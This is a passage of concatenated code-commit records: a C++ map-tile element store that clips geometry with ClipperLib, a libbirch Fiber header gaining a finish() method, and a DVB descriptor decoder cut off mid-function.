return;\n        }\n\n        ClipperLib::PolyTree solution;\n        clipper_.AddPath(wayShape, ClipperLib::ptSubject, false);\n        clipper_.AddPath(createPathFromBoundingBox(), ClipperLib::ptClip, true);\n        clipper_.Execute(ClipperLib::ctIntersection, solution);\n        clipper_.Clear();\n        int count = solution.Total();\n\n        \/\/ 3. way intersects border only once: store a copy with clipped geometry\n        if (count == 1) {\n            Way clippedWay;\n            setData(clippedWay, way, solution.GetFirst()->Contour);\n            elementStore_.storeImpl(clippedWay, *quadKeyPtr_);\n        }\n        \/\/ 4. in this case, result should be stored as relation (collection of ways)\n        else {\n            Relation relation;\n            relation.id = way.id;\n            relation.tags = way.tags;\n            relation.elements.reserve(count);\n            ClipperLib::PolyNode* polyNode = solution.GetFirst();\n            while (polyNode)\n            {\n                std::shared_ptr<Way> clippedWay(new Way());\n                clippedWay->id = way.id;\n                setCoordinates(*clippedWay, polyNode->Contour);\n                relation.elements.push_back(clippedWay);\n                polyNode = polyNode->GetNext();\n            }\n            elementStore_.storeImpl(relation, *quadKeyPtr_);\n        }\n    }\n\n    void visitArea(const Area& area)\n    {\n        ClipperLib::Path areaShape;\n        PointLocation pointLocation = setPath(*quadKeyBboxPtr_, area, areaShape);\n        \/\/ 1. all geometry inside current quadkey: no need to truncate.\n        if (pointLocation == PointLocation::AllInside) {\n            elementStore_.storeImpl(area, *quadKeyPtr_);\n            return;\n        }\n\n        \/\/ 2. all geometry outside : pass empty\n        if (pointLocation == PointLocation::AllOutside) {\n            Area emptyArea;\n            emptyArea.id = area.id;\n            emptyArea.tags = area.tags;\n            elementStore_.storeImpl(emptyArea, *quadKeyPtr_);\n            return;\n        }\n\n        ClipperLib::Paths solution;\n        clipper_.AddPath(areaShape, ClipperLib::ptSubject, true);\n        clipper_.AddPath(createPathFromBoundingBox(), ClipperLib::ptClip, true);\n        clipper_.Execute(ClipperLib::ctIntersection, solution);\n        clipper_.Clear();\n\n        \/\/ 3. way intersects border only once: store a copy with clipped geometry\n        if (solution.size() == 1) {\n            Area clippedArea;\n            setData(clippedArea, area, solution[0]);\n            elementStore_.storeImpl(clippedArea, *quadKeyPtr_);\n        }\n        \/\/ 4. in this case, result should be stored as relation (collection of areas)\n        else {\n            Relation relation;\n            relation.id = area.id;\n            relation.tags = area.tags;\n            relation.elements.reserve(solution.size());\n            for (auto it = solution.begin(); it != solution.end(); ++it) {\n                std::shared_ptr<Area> clippedArea(new Area());\n                clippedArea->id = area.id;\n                setCoordinates(*clippedArea, *it);\n                relation.elements.push_back(clippedArea);\n            }\n            elementStore_.storeImpl(relation, *quadKeyPtr_);\n        }\n    }\n\n    void visitRelation(const Relation& relation)\n    {\n        struct RelationVisitor : public ElementVisitor\n        {\n            Relation data;\n\n            RelationVisitor(const BoundingBox& quadKeyBbox, ClipperLib::Clipper& clipper) :\n                bbox_(quadKeyBbox), clipper_(clipper) { }\n\n            void visitNode(const Node& node)\n            {\n                if (bbox_.contains(node.coordinate)) {\n                    data.elements.push_back(std::shared_ptr<Node>(new Node(node)));\n                }\n            }\n\n            void visitWay(const Way& way)\n            {\n                ClipperLib::Path wayShape;\n                ElementGeometryVisitor::setPath(bbox_, way, wayShape);\n                clipper_.AddPath(wayShape, ClipperLib::ptSubject, false);\n            }\n\n            void visitArea(const Area& area)\n            {\n                ClipperLib::Path areaShape;\n                ElementGeometryVisitor::setPath(bbox_, area, areaShape);\n                clipper_.AddPath(areaShape, ClipperLib::ptSubject, true);\n            }\n\n            void visitRelation(const Relation& relation)\n            {\n                for (const auto& element : relation.elements) {\n                    element->accept(*this);\n                }\n            }\n\n        private:\n            const BoundingBox& bbox_;\n            ClipperLib::Clipper& clipper_;\n\n        } visitor(*quadKeyBboxPtr_, clipper_);\n\n        relation.accept(visitor);\n\n        \/\/ Process results\n        ClipperLib::PolyTree solution;\n        clipper_.AddPath(createPathFromBoundingBox(), ClipperLib::ptClip, true);\n        clipper_.Execute(ClipperLib::ctIntersection, solution);\n        clipper_.Clear();\n\n        int count = solution.Total();\n        \/\/ Do not store one result as relation\n        if (count == 1) {\n            ClipperLib::PolyNode* node = solution.GetFirst();\n            if (node->IsOpen()) {\n                Way way;\n                setData(way, relation, node->Contour);\n                elementStore_.storeImpl(way, *quadKeyPtr_);\n            }\n            else {\n                if (!node->IsHole()) {\n                    Area area;\n                    setData(area, relation, node->Contour);\n                    elementStore_.storeImpl(area, *quadKeyPtr_);\n                }\n            }\n        }\n        else if (count > 1) {\n            Relation newRelation;\n            newRelation.id = relation.id;\n            newRelation.tags = relation.tags;\n            newRelation.elements.reserve(count);\n\n            ClipperLib::PolyNode* polyNode = solution.GetFirst();\n            while (polyNode)\n            {\n                if (polyNode->IsOpen()) {\n                    std::shared_ptr<Way> way(new Way());\n                    setCoordinates(*way, polyNode->Contour);\n                    newRelation.elements.push_back(way);\n                }\n                else {\n                    std::shared_ptr<Area> area(new Area());\n                    setCoordinates(*area, polyNode->Contour);\n                    newRelation.elements.push_back(area);\n                }\n                polyNode = polyNode->GetNext();\n            }\n            elementStore_.storeImpl(newRelation, *quadKeyPtr_);\n        }\n    }\n\n    template<typename T>\n    inline static PointLocation setPath(const BoundingBox& bbox, const T& t, ClipperLib::Path& shape) {\n        shape.reserve(t.coordinates.size());\n        bool allInside = false;\n        bool allOutside = true;\n        for (const GeoCoordinate& coord : t.coordinates) {\n            bool contains = bbox.contains(coord);\n            allInside &= contains;\n            allOutside &= !contains;\n            shape.push_back(ClipperLib::IntPoint(coord.longitude*Scale, coord.latitude*Scale));\n        }\n\n        return allInside ? PointLocation::AllInside :\n              (allOutside ? PointLocation::AllOutside : PointLocation::Mixed);\n    }\n\nprivate:\n\n    template<typename T>\n    inline void setData(T& t, const Element& element, const ClipperLib::Path& path) {\n        t.id = element.id;\n        t.tags = element.tags;\n        setCoordinates<T>(t, path);\n    }\n\n    template<typename T>\n    inline void setCoordinates(T& t, const ClipperLib::Path& path) {\n        t.coordinates.reserve(path.size());\n        for (const auto& c : path) {\n            t.coordinates.push_back(GeoCoordinate(c.Y \/ Scale, c.X \/ Scale));\n        }\n    }\n\n    inline ClipperLib::Path createPathFromBoundingBox()\n    {\n        double xMin = quadKeyBboxPtr_->minPoint.longitude, yMin = quadKeyBboxPtr_->minPoint.latitude,\n            xMax = quadKeyBboxPtr_->maxPoint.longitude, yMax = quadKeyBboxPtr_->maxPoint.latitude;\n        ClipperLib::Path rect;\n        rect.push_back(ClipperLib::IntPoint(xMin*Scale, yMin*Scale));\n        rect.push_back(ClipperLib::IntPoint(xMax*Scale, yMin*Scale));\n        rect.push_back(ClipperLib::IntPoint(xMax*Scale, yMax*Scale));\n        rect.push_back(ClipperLib::IntPoint(xMin*Scale, yMax*Scale));\n        return std::move(rect);\n    }\n\n    ElementStore& elementStore_;\n    const QuadKey* quadKeyPtr_;\n    const BoundingBox* quadKeyBboxPtr_;\n    ClipperLib::Clipper clipper_;\n};\n\nElementStore::ElementStore(StringTable& stringTable) : stringTable_(stringTable)\n{\n}\n\nElementStore::~ElementStore()\n{\n}\n\nbool ElementStore::store(const Element& element, const utymap::index::LodRange& range, const StyleProvider& styleProvider)\n{\n    BoundingBoxVisitor bboxVisitor;\n    bool wasStored = false;\n    uint32_t clipKeyId = stringTable_.getId(ClipKey);\n    for (int lod = range.start; lod <= range.end; ++lod) {\n        \/\/ skip element for this lod\n        if (!styleProvider.hasStyle(element, lod)) \n            continue;\n\n        \/\/ initialize bounding box only once\n        if (!bboxVisitor.boundingBox.isValid()) {\n            element.accept(bboxVisitor);\n        }\n\n        Style style = styleProvider.forElement(element, lod);\n        storeInTileRange(element, bboxVisitor.boundingBox, lod, style.has(clipKeyId));\n        wasStored = true;\n    }\n\n    \/\/ NOTE still might be clipped and then skipped\n    return wasStored;\n}\n\nvoid ElementStore::storeInTileRange(const Element& element, const BoundingBox& elementBbox, int levelOfDetails, bool shouldClip)\n{\n    ElementGeometryVisitor geometryClipper(*this);\n    auto visitor = [&](const QuadKey& quadKey, const BoundingBox& quadKeyBbox) {\n        if (shouldClip)\n            geometryClipper.clipAndStore(element, quadKey, quadKeyBbox);\n        else\n            storeImpl(element, quadKey);\n    };\n    utymap::utils::GeoUtils::visitTileRange(elementBbox, levelOfDetails, visitor);\n}\n\n}}\n<commit_msg>refactoring: adjust code style<commit_after>#include \"BoundingBox.hpp\"\n#include \"GeoCoordinate.hpp\"\n#include \"QuadKey.hpp\"\n#include \"entities\/Element.hpp\"\n#include \"entities\/Node.hpp\"\n#include \"entities\/Way.hpp\"\n#include \"entities\/Area.hpp\"\n#include \"entities\/Relation.hpp\"\n#include \"entities\/ElementVisitor.hpp\"\n#include \"formats\/FormatTypes.hpp\"\n#include \"index\/ElementStore.hpp\"\n#include \"mapcss\/Style.hpp\"\n#include \"mapcss\/StyleProvider.hpp\"\n#include \"utils\/GeoUtils.hpp\"\n#include \"clipper\/clipper.hpp\"\n\nusing namespace utymap;\nusing namespace utymap::entities;\nusing namespace utymap::formats;\nusing namespace utymap::mapcss;\n\nnamespace utymap { namespace index {\n\nconst static double Scale = 1E8; \/\/ max precision for Lat\/Lon\nconst static std::string ClipKey = \"clip\";\n\n\/\/ Creates bounding box of given element.\nstruct BoundingBoxVisitor : public ElementVisitor\n{\n    BoundingBox boundingBox;\n\n    void visitNode(const Node& node)\n    {\n        boundingBox.expand(node.coordinate);\n    }\n\n    void visitWay(const Way& way)\n    {\n        boundingBox.expand(way.coordinates.cbegin(), way.coordinates.cend());\n    }\n\n    void visitArea(const Area& area)\n    {\n        boundingBox.expand(area.coordinates.cbegin(), area.coordinates.cend());\n    }\n\n    void visitRelation(const Relation& relation)\n    {\n        for (const auto& element: relation.elements) {\n            element->accept(*this);\n        }\n    }\n};\n\n\/\/ Modifies geometry of element by bounding box clipping\nclass ElementGeometryVisitor : private ElementVisitor\n{\npublic:\n\n    \/\/ Defines polygon points location relative to current quadkey.\n    enum PointLocation { AllInside, AllOutside, Mixed };\n\n    ElementGeometryVisitor(ElementStore& elementStore) :\n        elementStore_(elementStore),\n        quadKeyPtr_(nullptr),\n        quadKeyBboxPtr_(nullptr)\n    {\n    }\n\n    void clipAndStore(const Element& element, const QuadKey& quadKey, const BoundingBox& quadKeyBbox)\n    {\n        quadKeyPtr_ = &quadKey;\n        quadKeyBboxPtr_ = &quadKeyBbox;\n        element.accept(*this);\n    }\n\n    void visitNode(const Node& node)\n    {\n        \/\/ here, node should be always in tile\n        elementStore_.storeImpl(node, *quadKeyPtr_);\n    }\n\n    void visitWay(const Way& way)\n    {\n        ClipperLib::Path wayShape;\n        PointLocation pointLocation = setPath(*quadKeyBboxPtr_, way, wayShape);\n        \/\/ 1. all geometry inside current quadkey: no need to truncate.\n        if (pointLocation == PointLocation::AllInside) {\n            elementStore_.storeImpl(way, *quadKeyPtr_);\n            return;\n        }\n\n        \/\/ 2. all geometry outside : way should be skipped\n        if (pointLocation == PointLocation::AllOutside) {\n            return;\n        }\n\n        ClipperLib::PolyTree solution;\n        clipper_.AddPath(wayShape, ClipperLib::ptSubject, false);\n        clipper_.AddPath(createPathFromBoundingBox(), ClipperLib::ptClip, true);\n        clipper_.Execute(ClipperLib::ctIntersection, solution);\n        clipper_.Clear();\n        int count = solution.Total();\n\n        \/\/ 3. way intersects border only once: store a copy with clipped geometry\n        if (count == 1) {\n            Way clippedWay;\n            setData(clippedWay, way, solution.GetFirst()->Contour);\n            elementStore_.storeImpl(clippedWay, *quadKeyPtr_);\n        }\n        \/\/ 4. in this case, result should be stored as relation (collection of ways)\n        else {\n            Relation relation;\n            relation.id = way.id;\n            relation.tags = way.tags;\n            relation.elements.reserve(count);\n            ClipperLib::PolyNode* polyNode = solution.GetFirst();\n            while (polyNode) {\n                std::shared_ptr<Way> clippedWay(new Way());\n                clippedWay->id = way.id;\n                setCoordinates(*clippedWay, polyNode->Contour);\n                relation.elements.push_back(clippedWay);\n                polyNode = polyNode->GetNext();\n            }\n            elementStore_.storeImpl(relation, *quadKeyPtr_);\n        }\n    }\n\n    void visitArea(const Area& area)\n    {\n        ClipperLib::Path areaShape;\n        PointLocation pointLocation = setPath(*quadKeyBboxPtr_, area, areaShape);\n        \/\/ 1. all geometry inside current quadkey: no need to truncate.\n        if (pointLocation == PointLocation::AllInside) {\n            elementStore_.storeImpl(area, *quadKeyPtr_);\n            return;\n        }\n\n        \/\/ 2. all geometry outside : pass empty\n        if (pointLocation == PointLocation::AllOutside) {\n            Area emptyArea;\n            emptyArea.id = area.id;\n            emptyArea.tags = area.tags;\n            elementStore_.storeImpl(emptyArea, *quadKeyPtr_);\n            return;\n        }\n\n        ClipperLib::Paths solution;\n        clipper_.AddPath(areaShape, ClipperLib::ptSubject, true);\n        clipper_.AddPath(createPathFromBoundingBox(), ClipperLib::ptClip, true);\n        clipper_.Execute(ClipperLib::ctIntersection, solution);\n        clipper_.Clear();\n\n        \/\/ 3. way intersects border only once: store a copy with clipped geometry\n        if (solution.size() == 1) {\n            Area clippedArea;\n            setData(clippedArea, area, solution[0]);\n            elementStore_.storeImpl(clippedArea, *quadKeyPtr_);\n        }\n        \/\/ 4. in this case, result should be stored as relation (collection of areas)\n        else {\n            Relation relation;\n            relation.id = area.id;\n            relation.tags = area.tags;\n            relation.elements.reserve(solution.size());\n            for (auto it = solution.begin(); it != solution.end(); ++it) {\n                std::shared_ptr<Area> clippedArea(new Area());\n                clippedArea->id = area.id;\n                setCoordinates(*clippedArea, *it);\n                relation.elements.push_back(clippedArea);\n            }\n            elementStore_.storeImpl(relation, *quadKeyPtr_);\n        }\n    }\n\n    void visitRelation(const Relation& relation)\n    {\n        struct RelationVisitor : public ElementVisitor\n        {\n            Relation data;\n\n            RelationVisitor(const BoundingBox& quadKeyBbox, ClipperLib::Clipper& clipper) :\n                bbox_(quadKeyBbox), clipper_(clipper) { }\n\n            void visitNode(const Node& node)\n            {\n                if (bbox_.contains(node.coordinate)) {\n                    data.elements.push_back(std::shared_ptr<Node>(new Node(node)));\n                }\n            }\n\n            void visitWay(const Way& way)\n            {\n                ClipperLib::Path wayShape;\n                ElementGeometryVisitor::setPath(bbox_, way, wayShape);\n                clipper_.AddPath(wayShape, ClipperLib::ptSubject, false);\n            }\n\n            void visitArea(const Area& area)\n            {\n                ClipperLib::Path areaShape;\n                ElementGeometryVisitor::setPath(bbox_, area, areaShape);\n                clipper_.AddPath(areaShape, ClipperLib::ptSubject, true);\n            }\n\n            void visitRelation(const Relation& relation)\n            {\n                for (const auto& element : relation.elements) {\n                    element->accept(*this);\n                }\n            }\n\n        private:\n            const BoundingBox& bbox_;\n            ClipperLib::Clipper& clipper_;\n\n        } visitor(*quadKeyBboxPtr_, clipper_);\n\n        relation.accept(visitor);\n\n        \/\/ Process results\n        ClipperLib::PolyTree solution;\n        clipper_.AddPath(createPathFromBoundingBox(), ClipperLib::ptClip, true);\n        clipper_.Execute(ClipperLib::ctIntersection, solution);\n        clipper_.Clear();\n\n        int count = solution.Total();\n        \/\/ Do not store one result as relation\n        if (count == 1) {\n            ClipperLib::PolyNode* node = solution.GetFirst();\n            if (node->IsOpen()) {\n                Way way;\n                setData(way, relation, node->Contour);\n                elementStore_.storeImpl(way, *quadKeyPtr_);\n            }\n            else {\n                if (!node->IsHole()) {\n                    Area area;\n                    setData(area, relation, node->Contour);\n                    elementStore_.storeImpl(area, *quadKeyPtr_);\n                }\n            }\n        }\n        else if (count > 1) {\n            Relation newRelation;\n            newRelation.id = relation.id;\n            newRelation.tags = relation.tags;\n            newRelation.elements.reserve(count);\n\n            ClipperLib::PolyNode* polyNode = solution.GetFirst();\n            while (polyNode) {\n                if (polyNode->IsOpen()) {\n                    std::shared_ptr<Way> way(new Way());\n                    setCoordinates(*way, polyNode->Contour);\n                    newRelation.elements.push_back(way);\n                }\n                else {\n                    std::shared_ptr<Area> area(new Area());\n                    setCoordinates(*area, polyNode->Contour);\n                    newRelation.elements.push_back(area);\n                }\n                polyNode = polyNode->GetNext();\n            }\n            elementStore_.storeImpl(newRelation, *quadKeyPtr_);\n        }\n    }\n\n    template<typename T>\n    inline static PointLocation setPath(const BoundingBox& bbox, const T& t, ClipperLib::Path& shape) {\n        shape.reserve(t.coordinates.size());\n        bool allInside = false;\n        bool allOutside = true;\n        for (const GeoCoordinate& coord : t.coordinates) {\n            bool contains = bbox.contains(coord);\n            allInside &= contains;\n            allOutside &= !contains;\n            shape.push_back(ClipperLib::IntPoint(coord.longitude*Scale, coord.latitude*Scale));\n        }\n\n        return allInside ? PointLocation::AllInside :\n              (allOutside ? PointLocation::AllOutside : PointLocation::Mixed);\n    }\n\nprivate:\n\n    template<typename T>\n    inline void setData(T& t, const Element& element, const ClipperLib::Path& path) {\n        t.id = element.id;\n        t.tags = element.tags;\n        setCoordinates<T>(t, path);\n    }\n\n    template<typename T>\n    inline void setCoordinates(T& t, const ClipperLib::Path& path) {\n        t.coordinates.reserve(path.size());\n        for (const auto& c : path) {\n            t.coordinates.push_back(GeoCoordinate(c.Y \/ Scale, c.X \/ Scale));\n        }\n    }\n\n    inline ClipperLib::Path createPathFromBoundingBox()\n    {\n        double xMin = quadKeyBboxPtr_->minPoint.longitude, yMin = quadKeyBboxPtr_->minPoint.latitude,\n            xMax = quadKeyBboxPtr_->maxPoint.longitude, yMax = quadKeyBboxPtr_->maxPoint.latitude;\n        ClipperLib::Path rect;\n        rect.push_back(ClipperLib::IntPoint(xMin*Scale, yMin*Scale));\n        rect.push_back(ClipperLib::IntPoint(xMax*Scale, yMin*Scale));\n        rect.push_back(ClipperLib::IntPoint(xMax*Scale, yMax*Scale));\n        rect.push_back(ClipperLib::IntPoint(xMin*Scale, yMax*Scale));\n        return std::move(rect);\n    }\n\n    ElementStore& elementStore_;\n    const QuadKey* quadKeyPtr_;\n    const BoundingBox* quadKeyBboxPtr_;\n    ClipperLib::Clipper clipper_;\n};\n\nElementStore::ElementStore(StringTable& stringTable) : stringTable_(stringTable)\n{\n}\n\nElementStore::~ElementStore()\n{\n}\n\nbool ElementStore::store(const Element& element, const utymap::index::LodRange& range, const StyleProvider& styleProvider)\n{\n    BoundingBoxVisitor bboxVisitor;\n    bool wasStored = false;\n    uint32_t clipKeyId = stringTable_.getId(ClipKey);\n    for (int lod = range.start; lod <= range.end; ++lod) {\n        \/\/ skip element for this lod\n        if (!styleProvider.hasStyle(element, lod)) \n            continue;\n\n        \/\/ initialize bounding box only once\n        if (!bboxVisitor.boundingBox.isValid()) {\n            element.accept(bboxVisitor);\n        }\n\n        Style style = styleProvider.forElement(element, lod);\n        storeInTileRange(element, bboxVisitor.boundingBox, lod, style.has(clipKeyId));\n        wasStored = true;\n    }\n\n    \/\/ NOTE still might be clipped and then skipped\n    return wasStored;\n}\n\nvoid ElementStore::storeInTileRange(const Element& element, const BoundingBox& elementBbox, int levelOfDetails, bool shouldClip)\n{\n    ElementGeometryVisitor geometryClipper(*this);\n    auto visitor = [&](const QuadKey& quadKey, const BoundingBox& quadKeyBbox) {\n        if (shouldClip)\n            geometryClipper.clipAndStore(element, quadKey, quadKeyBbox);\n        else\n            storeImpl(element, quadKey);\n    };\n    utymap::utils::GeoUtils::visitTileRange(elementBbox, levelOfDetails, visitor);\n}\n\n}}\n<|endoftext|>"}
{"text":"<commit_before>\/**\n * @file\n *\/\n#pragma once\n\n#include \"libbirch\/FiberState.hpp\"\n\nnamespace libbirch {\n\/**\n * Fiber.\n *\n * @ingroup libbirch\n *\n * @tparam YieldType Yield type.\n *\/\ntemplate<class YieldType>\nclass Fiber {\npublic:\n  \/**\n   * Constructor.\n   *\/\n  Fiber(const Shared<FiberState<YieldType>>& state = nullptr);\n\n  \/**\n   * Clone the fiber.\n   *\/\n  Fiber<YieldType> clone() const;\n\n  \/**\n   * Freeze the fiber.\n   *\/\n  void freeze() const;\n\n  \/**\n   * Get the context of the fiber state.\n   *\/\n  Context* getContext() const;\n\n  \/**\n   * Run to next yield point.\n   *\n   * @return Was a value yielded?\n   *\/\n  bool query() const;\n\n  \/**\n   * Get the last yield value.\n   *\/\n  YieldType get() const;\n\npublic:\n  \/**\n   * Fiber state.\n   *\/\n  Shared<FiberState<YieldType>> state;\n};\n}\n\ntemplate<class YieldType>\nlibbirch::Fiber<YieldType>::Fiber(\n    const Shared<FiberState<YieldType>>& state) :\n    state(state) {\n  \/\/\n}\n\ntemplate<class YieldType>\nlibbirch::Fiber<YieldType> libbirch::Fiber<YieldType>::clone() const {\n  return Fiber<YieldType>(state.clone());\n}\n\ntemplate<class YieldType>\nvoid libbirch::Fiber<YieldType>::freeze() const {\n  state.freeze();\n}\n\ntemplate<class YieldType>\nlibbirch::Context* libbirch::Fiber<YieldType>::getContext() const {\n  return state.getContext();\n}\n\ntemplate<class YieldType>\nbool libbirch::Fiber<YieldType>::query() const {\n  bool result = false;\n  if (state.query()) {\n    result = state->query();\n    if (!result) {\n      const_cast<Fiber<YieldType>*>(this)->state = nullptr;  \/\/ fiber has finished, delete the state\n    }\n  }\n  return result;\n}\n\ntemplate<class YieldType>\nYieldType libbirch::Fiber<YieldType>::get() const {\n  libbirch_assert_msg_(state.query(), \"fiber handle undefined\");\n  return state->get();\n}\n<commit_msg>Added finish() to Fiber.<commit_after>\/**\n * @file\n *\/\n#pragma once\n\n#include \"libbirch\/FiberState.hpp\"\n\nnamespace libbirch {\n\/**\n * Fiber.\n *\n * @ingroup libbirch\n *\n * @tparam YieldType Yield type.\n *\/\ntemplate<class YieldType>\nclass Fiber {\npublic:\n  \/**\n   * Constructor.\n   *\/\n  Fiber(const Shared<FiberState<YieldType>>& state = nullptr);\n\n  \/**\n   * Clone the fiber.\n   *\/\n  Fiber<YieldType> clone() const;\n\n  \/**\n   * Freeze the fiber.\n   *\/\n  void freeze() const;\n\n  \/**\n   * Finish the fiber.\n   *\/\n  void finish() const;\n\n  \/**\n   * Get the context of the fiber state.\n   *\/\n  Context* getContext() const;\n\n  \/**\n   * Run to next yield point.\n   *\n   * @return Was a value yielded?\n   *\/\n  bool query() const;\n\n  \/**\n   * Get the last yield value.\n   *\/\n  YieldType get() const;\n\npublic:\n  \/**\n   * Fiber state.\n   *\/\n  Shared<FiberState<YieldType>> state;\n};\n}\n\ntemplate<class YieldType>\nlibbirch::Fiber<YieldType>::Fiber(\n    const Shared<FiberState<YieldType>>& state) :\n    state(state) {\n  \/\/\n}\n\ntemplate<class YieldType>\nlibbirch::Fiber<YieldType> libbirch::Fiber<YieldType>::clone() const {\n  return Fiber<YieldType>(state.clone());\n}\n\ntemplate<class YieldType>\nvoid libbirch::Fiber<YieldType>::freeze() const {\n  state.freeze();\n}\n\ntemplate<class YieldType>\nvoid libbirch::Fiber<YieldType>::finish() const {\n  state.finish();\n}\n\ntemplate<class YieldType>\nlibbirch::Context* libbirch::Fiber<YieldType>::getContext() const {\n  return state.getContext();\n}\n\ntemplate<class YieldType>\nbool libbirch::Fiber<YieldType>::query() const {\n  bool result = false;\n  if (state.query()) {\n    result = state->query();\n    if (!result) {\n      const_cast<Fiber<YieldType>*>(this)->state = nullptr;  \/\/ fiber has finished, delete the state\n    }\n  }\n  return result;\n}\n\ntemplate<class YieldType>\nYieldType libbirch::Fiber<YieldType>::get() const {\n  libbirch_assert_msg_(state.query(), \"fiber handle undefined\");\n  return state->get();\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*****************************************************************************\n * Copyright (C) 2011-2013 Michael Krufky\n *\n * Author: Michael Krufky <mkrufky@linuxtv.org>\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA\n *\n *****************************************************************************\/\n\n#define DBG 0\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\n#include \"functions.h\"\n#include \"log.h\"\n#define CLASS_MODULE \"desc\"\n\n#include \"dvbpsi\/dr_48.h\" \/* service descriptor *\/\n#include \"dvbpsi\/dr_4d.h\" \/* short event descriptor *\/\n#include \"dvbpsi\/dr_62.h\" \/* frequency list descriptor *\/\n#include \"dvbpsi\/dr_83.h\" \/* LCN descriptor *\/\n\n#include \"desc.h\"\n\n#define dprintf(fmt, arg...) __dprintf(DBG_DESC, fmt, ##arg)\n\n#define DT_Service                    0x48\n#define DT_ShortEvent                 0x4d\n#define DT_Teletext                   0x56\n#define DT_FrequencyList              0x62\n#define DT_LogicalChannelNumber       0x83\n\n\ndesc::desc()\n\/\/  : f_kill_thread(false)\n{\n\tdprintf(\"()\");\n}\n\ndesc::~desc()\n{\n\tdprintf(\"()\");\n}\n\nbool desc::service(dvbpsi_descriptor_t* p_descriptor)\n{\n\tif (p_descriptor->i_tag != DT_Service)\n\t\treturn false;\n\n\tdvbpsi_service_dr_t* dr = dvbpsi_DecodeServiceDr(p_descriptor);\n\n\tget_descriptor_text(dr->i_service_provider_name, dr->i_service_provider_name_length, provider_name);\n\tget_descriptor_text(dr->i_service_name,          dr->i_service_name_length,          service_name);\n\n\tdprintf(\"%s, %s\", provider_name, service_name);\n\n\treturn true;\n}\n\nbool desc::short_event(dvbpsi_descriptor_t* p_descriptor)\n{\n\tif (p_descriptor->i_tag != DT_ShortEvent)\n\t\treturn false;\n\n\tdvbpsi_short_event_dr_t* dr = dvbpsi_DecodeShortEventDr(p_descriptor);\n\n\tmemcpy(_4d.lang, dr->i_iso_639_code, 3);\n\tget_descriptor_text(dr->i_event_name, dr->i_event_name_length, _4d.name);\n\tget_descriptor_text(dr->i_text, dr->i_text_length, _4d.text);\n\n\tdprintf(\"%s, %s, %s\", _4d.lang, _4d.name, _4d.text);\n\n\treturn true;\n}\n\n\nbool desc::freq_list(dvbpsi_descriptor_t* p_descriptor)\n{\n\tif (p_descriptor->i_tag != DT_FrequencyList)\n\t\treturn false;\n\n\tdvbpsi_frequency_list_dr_t* dr = dvbpsi_DecodeFrequencyListDr(p_descriptor);\n\tfor (int i = 0; i < dr->i_number_of_frequencies; ++i) {\n#if 0\n\t\t= dr->p_center_frequencies[i]\n#else\n\t\tdprintf(\"%d\", dr->p_center_frequencies[i]);\n#endif\n\t}\n\treturn true;\n}\n\nbool desc::_lcn(dvbpsi_descriptor_t* p_descriptor)\n{\n\tif (p_descriptor->i_tag != DT_LogicalChannelNumber)\n\t\treturn false;\n\n\tdvbpsi_lcn_dr_t* dr = dvbpsi_DecodeLCNDr(p_descriptor);\n\tfor (int i = 0; i < dr->i_number_of_entries; i ++) {\n#if 0\n\t\t= lcn->p_entries[i].i_service_id;\n\t\t= lcn->p_entries[i].i_logical_channel_number;\n#else\n\t\tlcn[dr->p_entries[i].i_service_id] = dr->p_entries[i].i_logical_channel_number;\n\t\tdprintf(\"%d, %d\", dr->p_entries[i].i_service_id, lcn[dr->p_entries[i].i_service_id]);\n#endif\n\t}\n\n\treturn true;\n}\n\nvoid desc::decode(dvbpsi_descriptor_t* p_descriptor)\n{\n\twhile (p_descriptor) {\n\t\tswitch (p_descriptor->i_tag) {\n\t\tcase DT_Service:\n\t\t\tservice(p_descriptor);\n\t\t\tbreak;\n\t\tcase DT_ShortEvent:\n\t\t\tshort_event(p_descriptor);\n\t\t\tbreak;\n\t\tcase DT_FrequencyList:\n\t\t\tfreq_list(p_descriptor);\n\t\t\tbreak;\n\t\tcase DT_LogicalChannelNumber:\n\t\t\t_lcn(p_descriptor);\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tdprintf(\"unknown descriptor tag: %02x\", p_descriptor->i_tag);\n\t\t\tbreak;\n\t\t}\n\t\tp_descriptor = p_descriptor->p_next;\n\t}\n}\n<commit_msg>desc: don't process descriptor data if decoder failed<commit_after>\/*****************************************************************************\n * Copyright (C) 2011-2013 Michael Krufky\n *\n * Author: Michael Krufky <mkrufky@linuxtv.org>\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA\n *\n *****************************************************************************\/\n\n#define DBG 0\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\n#include \"functions.h\"\n#include \"log.h\"\n#define CLASS_MODULE \"desc\"\n\n#include \"dvbpsi\/dr_48.h\" \/* service descriptor *\/\n#include \"dvbpsi\/dr_4d.h\" \/* short event descriptor *\/\n#include \"dvbpsi\/dr_62.h\" \/* frequency list descriptor *\/\n#include \"dvbpsi\/dr_83.h\" \/* LCN descriptor *\/\n\n#include \"desc.h\"\n\n#define dprintf(fmt, arg...) __dprintf(DBG_DESC, fmt, ##arg)\n\n#define DT_Service                    0x48\n#define DT_ShortEvent                 0x4d\n#define DT_Teletext                   0x56\n#define DT_FrequencyList              0x62\n#define DT_LogicalChannelNumber       0x83\n\n\ndesc::desc()\n\/\/  : f_kill_thread(false)\n{\n\tdprintf(\"()\");\n}\n\ndesc::~desc()\n{\n\tdprintf(\"()\");\n}\n\nbool desc::service(dvbpsi_descriptor_t* p_descriptor)\n{\n\tif (p_descriptor->i_tag != DT_Service)\n\t\treturn 